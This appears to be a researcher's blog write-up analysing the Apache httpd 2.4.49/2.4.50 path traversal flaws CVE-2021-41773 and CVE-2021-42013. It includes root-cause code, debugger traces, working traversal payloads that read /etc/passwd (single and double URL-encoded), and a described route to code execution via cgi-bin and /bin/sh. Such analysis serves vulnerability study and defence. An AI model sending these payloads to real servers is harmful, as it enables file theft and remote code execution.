Hacking Apache servers like it's 2004 (CVE-2021-41773)

 Date: October 31, 2021

October 2021 was a wild ride for the Apache httpd maintainers, and quite an earthquake for the infosec community. Below is my analysis for CVE-2021-41773 and CVE-2021-42013.

Note: Helpful setup files/docs can be found here:

* httpd.conf

* Compilnig/Debugging Apache

* Dockerized environments on git: #1, #2

CVE-2021-41773

On October 4th, CVE-2021-41773 was introduced to the world:

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied”, these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.

PoC

Payload to re-produce:

GET /pwnage/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1

Required Apache Configurations:

<IfModule alias_module>
     Alias /pwnage/ "/tmp/my-dir-lmao/"
</IfModule>

In this setup, I configured mod_alias to use the route /pwnage/ and serve files through the /tmp/my-dir-lmao/ directory.

You might be wondering why we’re using mod_alias to traverse outside of /tmp/my-dir-lmao/ and not just pwning our way straight out of DocumentRoot (/var/www/htdocs/) using a simpler payload like GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd.

The reason for this is that during the translate_name phase[0], the ap_core_translate function is called, which leads to a call to apr_filepath_merge:

#0  apr_filepath_merge (newpath=0x5555556948a8, rootpath=0x555555671548 "/usr/local/apache2/htdocs", addpath=0x555555695d49 "../../../../../../../../../etc/passwd", flags=35, p=0x5555556946d8) at file_io/unix/filepath.c:86
#1  0x00005555555b0293 in ap_core_translate (r=0x555555694750) at core.c:4750
#2  0x00005555555b2bfc in ap_run_translate_name (r=0x555555694750) at request.c:80
#3  0x00005555555b4292 in ap_process_request_internal (r=0x555555694750) at request.c:277

If apr_filepath_merge is triggered by a route that is handled by the mod_alias module, the traversal will work. But if not, the return value will be APR_EABOVEROOT and the request will fail with 403 response. Example from logs:

[Fri Oct 31 12:48:47.281794 2021] [core:error] [pid 61910] (20023)The given path was above the root path: [client 172.17.0.1:62206] AH00127: Cannot map GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 to file
172.17.0.1 - - [05/Oct/31:12:48:47 -0400] "GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 403 199

This is why most attacks we saw in-the-wild are abusing the /cgi-bin route, simply because it is a very common route makes use in mod_alias, and is configured in almost every Apache server.

Root-cause Analysis

The bug was introduced here(4c79fd28), as part of a code re-factoring for performance purposes.

The underlying implementation of ap_getparents()[0] was modified. And a new function was added, called ap_normalize_path.

ap_normalize_path is not really documented, so I’ll share a brief walkthrough about the implementation:

  • Arguments: char *path, unsigned int flags
  • Retrun value: True if path is ok, False if not
  • Logic: The logic of deciding whether a path is ok or not is determined by the flags argument. Possible flags:

include/httpd.h#L1782-L1786

#define AP_NORMALIZE_ALLOW_RELATIVE     (1u <<  0)
#define AP_NORMALIZE_NOT_ABOVE_ROOT     (1u <<  1)
#define AP_NORMALIZE_DECODE_UNRESERVED  (1u <<  2)
#define AP_NORMALIZE_MERGE_SLASHES      (1u <<  3)
#define AP_NORMALIZE_DROP_PARAMETERS    (1u <<  4)

For example, if we call the function with the AP_NORMALIZE_NOT_ABOVE_ROOT bit set in the flags argument:

  • The function will return True if we provide a path like /a/b/../
  • The function will return False if we provide a path like /a/b/../../../ , since we typed enough .. to traverse above the root path (/)

Soon enough(in the next section of this writeup), you will see how our payload can make this function return True even tough the function was called with a AP_NORMALIZE_NOT_ABOVE_ROOT flag enabled. Allowing us to type a path like ../../../../../etc/passwd.

Overcoming AP_NORMALIZE_NOT_ABOVE_ROOT

Below is a snippet, which is part of ap_normalize_path. This part is responsible for URL-decoding the requested path. We’ll call it snippet #1:

./server/util.c#L503-L603

    while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }

The function also verifies whether the client is trying to escape the root path.

snippet #2:

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
                * if asked to.
                */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }
    /* ... */

Both snippet #1 and #2 are part of the same loop, which iterates over the characters of the requested uri. This allows an attacker to type a URL-Encoded dot character(%2e) in order to execute snippet #1 and make the apache server to avoid entering the code block in snippet #2. Here’s a screenshot from gdb which demonstrates it:

The if condition will not be evaluated to True, this leads the Apache server to also skip the checks inside this if code block :^) making the AP_NORMALIZE_NOT_ABOVE_ROOT flag useless.

Later in execution, the decoded path is being concatenated into /tmp/my-dir-lmao/../../../../../../etc/passwd and the passwd file is served.

Escalation to RCE

Initially, this was posted as a file disclosure vulnerabillity. However, few days later, researchers on twitter already started discussing about how it’s exploited in-the-wild, and the possibility of leveraging this into a full RCE using Apache’s cgi engine.

Required configs to re-produce:

<IfModule mpm_prefork_module>
	LoadModule cgi_module modules/mod_cgi.so
</IfModule>

<IfModule alias_module>
     ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
</IfModule>

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options None
</Directory>

To gain code execution: we traverse all the way to /bin/sh -> Apache will treat this binary as a CGI program -> profit. The only thing we need is a way to provide input to the sh binary via the HTTP request. A short trip into the Apache’s docs will yield the solution for that:

So, essentially, we just need to send a POST request and treat the HTTP Request body as STDIN:

gg wp (✿◠‿◠)

CVE-2021-42013: The return

After detecting in-the-wild exploitation of Apache .49, the .50th version was released with a fix: 98246aa9

The bypass was for that quite simple(and, also works on .49 as well). To overcome this, you just need to URL-Encode the payload twice instead of just once:

GET /pwnage/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1

Although the fix blocked the 1st payload(%2e -> .), there are still other parts in ap_process_request_internal that’s executed after ap_normalize_path(and before the translate_name phase) which decodes the requested URI again(%%32%65 -> %2e -> .):

server/request.c#L250

Here’s r->parsed_uri.path after stepping to the next line(after ap_unescape_url):

pwndbg> p r->parsed_uri.path
$93 = 0x555555693d48 "/pwnage/../../../../../etc/passwd"

win :D

Other variants

Another exploitation for this can be done if an Apache module uses the AP_NORMALIZE_DROP_PARAMETERS flag:

https://twitter.com/ortegaalfredo/status/1445760130818007051?s=20

Quite exotic, but still seems like a possible scenario.

Other URLs

 Tags:  apache CVE-2021-41773 CVE-2021-42013 pwn

Previous
⏪ TamilCTF - Pwn challs solutions

Next
Compiling/Debugging Apache ⏩